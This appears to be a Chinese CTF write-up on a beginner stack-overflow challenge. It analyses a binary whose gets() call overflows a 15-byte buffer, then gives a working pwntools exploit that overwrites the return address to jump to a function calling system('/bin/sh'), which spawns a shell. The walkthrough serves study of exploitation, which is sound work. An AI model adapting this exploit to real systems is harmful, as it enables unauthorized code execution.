1.1 分析源码

先看下保护措施

[*] '/home/guozhi/桌面/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO  GOT表写保护
    Stack:    No canary found   无金丝雀保护
    NX:       NX unknown - GNU_STACK missing  内存页 无不可执行保护
    PIE:      No PIE (0x400000)  无地址随机化
    Stack:    Executable  栈可执行
    RWX:      Has RWX segments 有可读可写可执行
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF 

  puts("please input");
  gets((__int64)s, (__int64)argv);  //主要是这里产生了溢出gets不会限制输入长度 
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

可以通过objdump来分析汇编

objdump -d pwn1 -Mintel 
0000000000401142 <main>:
  401142:	55                   	push   rbp
  401143:	48 89 e5             	mov    rbp,rsp
  401146:	48 83 ec 10          	sub    rsp,0x10
  40114a:	48 8d 3d b3 0e 00 00 	lea    rdi,[rip+0xeb3]        # 402004 <_IO_stdin_used+0x4>
  401151:	e8 da fe ff ff       	call   401030 <puts@plt>
  401156:	48 8d 45 f1          	lea    rax,[rbp-0xf]
  40115a:	48 89 c7             	mov    rdi,rax
  40115d:	b8 00 00 00 00       	mov    eax,0x0
  401162:	e8 e9 fe ff ff       	call   401050 <gets@plt>
  401167:	48 8d 45 f1          	lea    rax,[rbp-0xf]
  40116b:	48 89 c7             	mov    rdi,rax
  40116e:	e8 bd fe ff ff       	call   401030 <puts@plt>
  401173:	48 8d 3d 97 0e 00 00 	lea    rdi,[rip+0xe97]        # 402011 <_IO_stdin_used+0x11>
  40117a:	e8 b1 fe ff ff       	call   401030 <puts@plt>
  40117f:	b8 00 00 00 00       	mov    eax,0x0
  401184:	c9                   	leave  
  401185:	c3                   	ret    

0000000000401186 <fun>:
  401186:	55                   	push   rbp
  401187:	48 89 e5             	mov    rbp,rsp
  40118a:	48 8d 3d 8a 0e 00 00 	lea    rdi,[rip+0xe8a]        # 40201b <_IO_stdin_used+0x1b>
  401191:	e8 aa fe ff ff       	call   401040 <system@plt> 
  401196:	90                   	nop
  401197:	5d                   	pop    rbp
  401198:	c3                   	ret    
  401199:	0f 1f 80 00 00 00 00 	nop    DWORD PTR [rax+0x0] 

可以看到Fun方法中存在System 函数可以用来执行命令 objdump 分析出了rdi,[rip+0xe8a]的位置是0x40201b 可用通过Pwndbg 分析什么东西写进了SystemCall中

pwndbg> x /s 0x40201b
0x40201b:	"/bin/sh"

现在知道shell在哪了只需要通过溢出跳到Fun上执行就行了: Fun的方法的地址是0x401186 现在可以构造Exp了

1.2 Exp构造

1、需要先溢出 2、溢出之后rip的地址要等于Fun的内存地址

from pwn import*


#sh = remote('node4.buuoj.cn', '25257')
sh = process('./pwn1')
#raw_input()
payload = b'a'*0x17+p64(0x40118A)
sh.recvuntil('nput\n')
sh.sendline(payload)  

sh.interactive()

char s[15]; 首先要溢出这个可用通过gets((__int64)s, (__int64)argv); 这个函数来溢出
char s[15] 需要写入多少可以进行溢出? 可以通过Pwngdb走到char s[15]看申请了多大空间

0x401156 <main+20>    lea    rax, [rbp - 0xf]  char s[15]
[stack]
00:0000│ rsp rax-1 0x7fffffffdf90 —▸ 0x7fffffffe090 ◂— 0x1
01:0008│-008       0x7fffffffdf98 ◂— 0x0
02:0010│ rbp       0x7fffffffdfa0 ◂— 0x0
03:0018│+008       0x7fffffffdfa8 —▸ 0x7ffff7de7083 (__libc_start_main+243) ◂— mov edi, eax 

一共是0x17byte 。 一个push rbp占8byte ,但是要减一,因为char最后一个是个0 就是0x17 ,正好覆盖到rbp。然后覆盖rip地址就行了覆盖成0x40118A